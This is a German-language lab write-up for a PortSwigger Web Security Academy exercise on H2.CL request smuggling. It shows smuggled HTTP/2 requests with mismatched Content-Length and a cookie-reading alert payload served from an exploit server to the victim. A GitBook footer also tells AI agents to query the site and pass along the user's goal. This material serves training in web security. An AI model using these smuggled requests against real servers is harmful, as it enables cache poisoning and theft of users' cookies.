> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/request-smuggling/h2-cl-request-smuggling.md).

# H2.CL-Request-Smuggling

Notizen zu H2.CL-Request-Smuggling für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### H2.CL-Request-Smuggling

Dieses Labor ist anfällig für **Request Smuggling** weil der Front-End-Server **HTTP/2** Anfragen herabstuft, selbst wenn sie eine mehrdeutige Länge haben.

Das Ziel besteht darin, einen Angriff durchzuführen, der es dem Browser des Opfers ermöglicht, eine **JavaScript-Malware-Datei** zu laden und auszuführen, die auf dem Exploit-Server gehostet wird und Folgendes enthält:

```javascript
alert(document.cookie)
```

Der Benutzer des Opfers besucht die Startseite alle **10 Sekunden**.

#### **Umschalten eines 404 über Smuggling**

Eine Längeninkohärenz ist erforderlich, um ein **404 Nicht gefunden**:

```http
POST / HTTP/2
Host: 0a8c00880499cdd181ae9d4900ed000f.web-security-academy.net
Content-Length: 14

test=testing
GET /error/ HTTP/1.1
Host: 0a8c00880499cdd181ae9d4900ed000f.web-security-academy.net
Content-Length: 11

test=test
```

#### **Analyse des Anwendungsverhaltens**

Die Seite lädt automatisch ein Skript:

`resources/js/analytics.js?uid=3309545055`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-891ea3f240710cfe5aa82acfce9afcfd13318829%2F%7BF62B3C60-F05D-4E6D-87F7-F140517019A5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Dieses Skript erzeugt eine zufällige Kennung und sendet eine Anfrage an:

```javascript
/analytics?id=<random value>
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1a7d73012ac3607cf6d865fe67beccb0816c2364%2F%7BD9860077-F17F-43EA-A3C6-9F38AC3C193D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Auszug aus der Funktion:

```javascript
function randomString(length, chars) {
    var result = '';
    for (var i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
    return result;
}
var id = randomString(16, '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ');
fetch('/analytics?id=' + id)
```

#### **Beobachtung der akzeptierten Pfade**

Eine eingeschmuggelte Anfrage an:

```http
GET /resources HTTP/1.1
Host: test.com
Content-Length: 11

test=test
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e587ab28f5befefae1e21b4ed5c43b7b4757720c%2F%7BE415EF65-91A1-46D2-8CA6-45BAD213BACA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

wird akzeptiert.

Andererseits werden andere Pfade nicht akzeptiert.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-83720fb669762d685b9d5dd6dd3faa4e4a202ea9%2F%7BBE9B35B3-50E4-40C7-B98B-9AB38093AD5E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Schädliche Skript-Injektion**

Wir platzieren unsere Nutzlast in der vom Exploit-Server bereitgestellten Datei:

* Dateiname: **resources**
* Inhalt des Bodys:

```javascript
<script>alert(document.cookie)</script>
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c49dc90301826db9d92bb4a758c1778b4c5d6a9d%2F%7BD8286DCB-E2EE-4DD9-B016-FA707D66A69D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Das Opfer wird zu dieser Datei umgeleitet, und der Browser führt den Alert aus, was die Ausnutzung bestätigt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-007655840ce8f240b6730b13dbb167711acb9a0a%2F%7BBF87F632-9D21-4148-8EF4-51A8CF572AE1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/request-smuggling/h2-cl-request-smuggling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
